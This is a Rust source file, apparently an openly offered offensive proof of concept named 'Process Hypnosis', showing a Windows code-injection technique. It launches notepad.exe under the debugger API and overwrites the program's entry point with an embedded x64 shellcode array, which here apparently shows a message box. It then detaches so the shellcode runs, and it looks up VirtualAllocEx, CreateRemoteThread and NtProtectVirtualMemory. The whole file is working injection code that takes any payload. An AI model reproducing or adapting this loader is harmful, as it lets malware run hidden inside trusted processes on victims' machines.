/*
    Process Hypnosis !
    Author: @5mukx
*/

use std::{ffi::OsStr, os::windows::ffi::OsStrExt, ptr::null_mut};

use winapi::{
    ctypes::{c_char, c_void},
    um::{
        dbghelp::{SymFromNameW, SYMBOL_INFOW},
        debugapi::{ContinueDebugEvent, DebugActiveProcessStop, WaitForDebugEvent},
        errhandlingapi::GetLastError,
        memoryapi::{ReadProcessMemory, WriteProcessMemory},
        minwinbase::{DEBUG_EVENT, EXCEPTION_BREAKPOINT, LOAD_DLL_DEBUG_EVENT},
        processthreadsapi::{CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW},
    },
};

macro_rules! okey {
    ($msg:expr, $($arg:expr), *) => {
        println!("\\_____[+] {}", format!($msg, $($arg), *));
    }
}

macro_rules! error {
    ($msg:expr, $($arg:expr), *) => {
        println!("\\_____[-] {}", format!($msg, $($arg), *));
        println!("Exiting ...");
        return;
    }
}

type BOOL = i32;
type HANDLE = *mut c_void;

fn main() {
    let shellcode: [u8; 328] = [
        0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00, 0x00, 0x41, 0x51,
        0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48,
        0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48,
        0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
        0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e,
        0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88,
        0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48,
        0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
        0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41,
        0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24,
        0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
        0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
        0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41,
        0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
        0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x3e, 0x48, 0x8d,
        0x8d, 0x30, 0x01, 0x00, 0x00, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x49, 0xc7,
        0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x0e, 0x01, 0x00, 0x00, 0x3e, 0x4c,
        0x8d, 0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07,
        0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x65,
        0x79, 0x20, 0x6d, 0x61, 0x6e, 0x2e, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6d, 0x65, 0x20, 0x53,
        0x6d, 0x75, 0x6b, 0x78, 0x00, 0x6b, 0x6e, 0x6f, 0x63, 0x6b, 0x2d, 0x6b, 0x6e, 0x6f, 0x63,
        0x6b, 0x00, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00,
    ];

    unsafe {
        let mut debug_info: DEBUG_EVENT = std::mem::zeroed();

        let mut startup_info: STARTUPINFOW = std::mem::zeroed();
        startup_info.cb = std::mem::size_of::<STARTUPINFOW>() as u32;

        let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();

        let path = r"C:\Windows\System32\notepad.exe";

        let path_name: Vec<u16> = OsStr::new(path)
            .encode_wide()
            .chain(std::iter::once(0))
            .collect();

        okey!("Target Path: {}", path);

        let create_process = CreateProcessW(
            null_mut(),
            path_name.as_ptr() as *mut u16,
            null_mut(),
            null_mut(),
            0,
            winapi::um::winbase::DEBUG_ONLY_THIS_PROCESS,
            null_mut(),
            null_mut(),
            &mut startup_info,
            &mut process_info,
        );

        if create_process == 0 {
            println!("Break 1");
            error!("CreateProcessW Failed: {}", GetLastError());
        }

        for num in 0..7 {
            if WaitForDebugEvent(&mut debug_info, 0xFFFFFFFF) != 0 {
                match debug_info.dwDebugEventCode {
                    3 => {
                        // CREATE_PROCESS_DEBUG_EVENT
                        okey!("Process PID: {}", debug_info.dwProcessId);
                        okey!("Thread ID: {}", debug_info.dwThreadId);
                        okey!(
                            "StartAddress: {:?}",
                            debug_info.u.CreateProcessInfo().lpStartAddress.unwrap()
                        );
                        okey!(
                            "Main Thread: {:?}",
                            debug_info.u.CreateProcessInfo().hThread
                        );
                    }

                    2 => {
                        // CREATE_THREAD_DEBUG_EVENT
                        println!();
                        okey!(
                            "Thread Created: {:?}",
                            debug_info.u.CreateThread().lpStartAddress
                        );
                        okey!("Thread Handle: {:?}", debug_info.u.CreateThread().hThread);
                        okey!(
                            "Thread ThreadLocalBase: {:?}",
                            debug_info.u.CreateThread().lpThreadLocalBase
                        );
                    }

                    LOAD_DLL_DEBUG_EVENT => {
                        // LOAD_DLL_DEBUG_EVENT
                        let mut buffer = [0u8; std::mem::size_of::<*mut c_void>()];
                        let mut return_number = 0;

                        let success = ReadProcessMemory(
                            process_info.hProcess,
                            debug_info.u.LoadDll().lpImageName as *mut c_void,
                            buffer.as_mut_ptr() as *mut c_void,
                            std::mem::size_of::<*mut c_void>(),
                            &mut return_number,
                        );

                        if success == 0 {
                            error!("ReadProcessMemory(1) Failed: {}", GetLastError());
                        }

                        let dll_address = usize::from_ne_bytes(buffer) as *mut c_void;
                        let mut image_name = vec![0u16; 260];

                        okey!("DLL ADDRESS: {:?}", dll_address);

                        let success = ReadProcessMemory(
                            process_info.hProcess,
                            dll_address,
                            image_name.as_mut_ptr() as _,
                            image_name.len() * std::mem::size_of::<u16>(),
                            &mut return_number,
                        );

                        if success == 0 {
                            error!("ReadProcessMemory(2) Failed: {}", GetLastError());
                        }

                        if let Some(first_null) = image_name.iter().position(|&c| c == 0) {
                            image_name.truncate(first_null);
                        }

                        let dll_name = String::from_utf16_lossy(&image_name);
                        okey!("DLL Name: {}", dll_name.trim_end_matches('\0'));
                        okey!("DLL Base Address: {:?}", debug_info.u.LoadDll().lpBaseOfDll);
                        okey!("DLL H_File: {:?}", debug_info.u.LoadDll().hFile);
                    }

                    1 => {
                        //EXCEPTION_DEBUG_EVENT
                        if debug_info.u.Exception().ExceptionRecord.ExceptionCode
                            == EXCEPTION_BREAKPOINT
                        {
                            okey!("BreakPoint Successfully Triggered {}", '!');
                        }
                    }

                    _ => {}
                }

                if num == 6 {
                    let mut number_of_write = 0;
                    let success = WriteProcessMemory(
                        process_info.hProcess,
                        std::mem::transmute::<_, *mut c_void>(
                            debug_info.u.CreateProcessInfo().lpStartAddress,
                        ),
                        shellcode.as_ptr() as _,
                        shellcode.len(),
                        &mut number_of_write,
                    );

                    if success == 0 {
                        error!("WriteProcessMemory Failed: {}", GetLastError());
                    }

                    let active_proc = DebugActiveProcessStop(process_info.dwProcessId);

                    if active_proc == 0 {
                        error!("DebugActiveProcessStop Failed: {}", GetLastError());
                    }
                }

                if num < 6 {
                    let dbg_continue = ContinueDebugEvent(
                        process_info.dwProcessId,
                        process_info.dwThreadId,
                        0x00010002, // DBG_CONTINUE
                    );

                    if dbg_continue == 0 {
                        error!("ContinueDebugEvent Failed: {}", GetLastError());
                    }
                }
            }
        }

        let sym_success = SymInitialize(0xFFFFFFFFFFFFFFFFu64 as *mut c_void, null_mut(), 1);

        if sym_success == 0 {
            error!("SymInitialize Error: {}", GetLastError());
        }

        let mut symbol = std::mem::zeroed::<SYMBOL_INFOW>();

        symbol.SizeOfStruct = std::mem::size_of::<SYMBOL_INFOW>() as u32;

        let virtual_alloc_addr: Vec<_> = "VirtualAllocEx".encode_utf16().collect();
        let success = SymFromNameW(
            0xffffffffffffffffu64 as _,
            virtual_alloc_addr.as_ptr(),
            &mut symbol,
        );

        if success == 0 {
            error!("VirtualAlloc SymFromName Failed: {:?}", GetLastError());
        }

        okey!(
            "Addr of VirtualAllocEx: {:?}",
            symbol.Address as *mut c_void
        );

        let create_remote_thread: Vec<_> = "CreateRemoteThread".encode_utf16().collect();
        let success = SymFromNameW(
            0xffffffffffffffffu64 as _,
            create_remote_thread.as_ptr(),
            &mut symbol,
        );

        if success == 0 {
            error!(
                "CreateRemoteThread SymFromName Failed: {:?}",
                GetLastError()
            );
        }

        okey!(
            "Addr of CreateRemoteThread: {:?}",
            symbol.Address as *mut c_void
        );

        let nt_protect_memory: Vec<_> = "NtProtectVirtualMemory".encode_utf16().collect();
        let success = SymFromNameW(
            0xffffffffffffffffu64 as _,
            nt_protect_memory.as_ptr(),
            &mut symbol,
        );

        if success == 0 {
            error!(
                "NtProtectVirtualMemory SymFromName Failed: {:?}",
                GetLastError()
            );
        }

        okey!(
            "Addr of NtProtectVirtualMemory: {:?}",
            symbol.Address as *mut c_void
        );
    }
}

#[link(name = "Dbghelp")]
#[allow(non_snake_case)]
extern "system" {
    pub fn SymInitialize(
        hProcess: HANDLE,
        UserSearchPath: *const c_char,
        fInvadeProcess: BOOL,
    ) -> BOOL;
}
